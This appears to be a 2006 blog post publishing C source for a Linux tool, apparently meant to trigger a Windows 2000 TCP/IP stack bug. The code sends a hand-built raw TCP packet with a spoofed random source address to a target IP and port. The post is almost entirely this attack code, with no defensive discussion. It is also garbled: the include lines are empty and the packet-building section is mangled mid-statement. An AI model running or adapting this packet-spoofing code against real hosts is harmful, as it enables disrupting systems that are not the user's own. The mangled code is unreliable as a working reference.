2006年12月14日星期四

Win2k tcp/ip stack bug test tool for linux

/*
* Win2k tcp/ip stack bug test tool for linux.
* Written by grip2
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include

unsigned short checksum(unsigned short *addr, int count)
{
/* Compute Internet Checksum for "count" bytes
* beginning at location "addr".
*/
register long sum = 0;

while( count > 1 ) {
/* This is the inner loop */
sum += *addr++;
count -= 2;
}

/* Add left-over byte, if any */
if( count > 0 )
sum += * (unsigned char *) addr;

/* Fold 32-bit sum to 16 bits */
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}

int main(int argc, char *argv[])
{
int sock = -1;
unsigned int ip_addr;
unsigned short port = htons(80);
int set = 1;
char buf[128];
struct iphdr *ip;
struct tcphdr *tcp;
struct sockaddr_in sa;

struct {
unsigned int source;
unsigned int dest;
unsigned char zero;
unsigned char protocol;
unsigned short tcp_len;
char tcp[2000];
} __attribute__ ((__packed__)) fake_tcp;

switch (argc) {
case 3:
port = htons(atoi(argv[2]));
case 2:
ip_addr = inet_addr(argv[1]);
break;
default:
fprintf(stderr,
"Win2k tcp/ip stack bug test tool for linux. written by grip2 \n");
fprintf(stderr, "Usage: %s ip [port]\n", argv[0]);
goto err;
}

bzero(&sa, sizeof(struct sockaddr_in));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = ip_addr;
sa.sin_port = port;

sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock == -1) {
perror("socket");
goto err;
}

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &set, sizeof(set)) < ip =" (struct">check = 0;
ip->daddr = ip_addr;
ip->saddr = random();

tcp = (struct tcphdr *) (buf + ip->ihl * 4);
tcp->source = (unsigned short) random();
tcp->dest = port;
tcp->check = 0;

fake_tcp.source = ip->saddr;
fake_tcp.dest = ip->daddr;
fake_tcp.zero = 0;
fake_tcp.protocol = 6;
fake_tcp.tcp_len = htons(20);
memcpy(fake_tcp.tcp, tcp, 20);
tcp->check = checksum((unsigned short *) &fake_tcp, 32);

if (sendto(sock, buf, ntohs(ip->tot_len), 0, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("sendto");
goto err;
}

close(sock);
return 0;
err:
if (sock != -1)
close(sock);
return -1;
}

没有评论: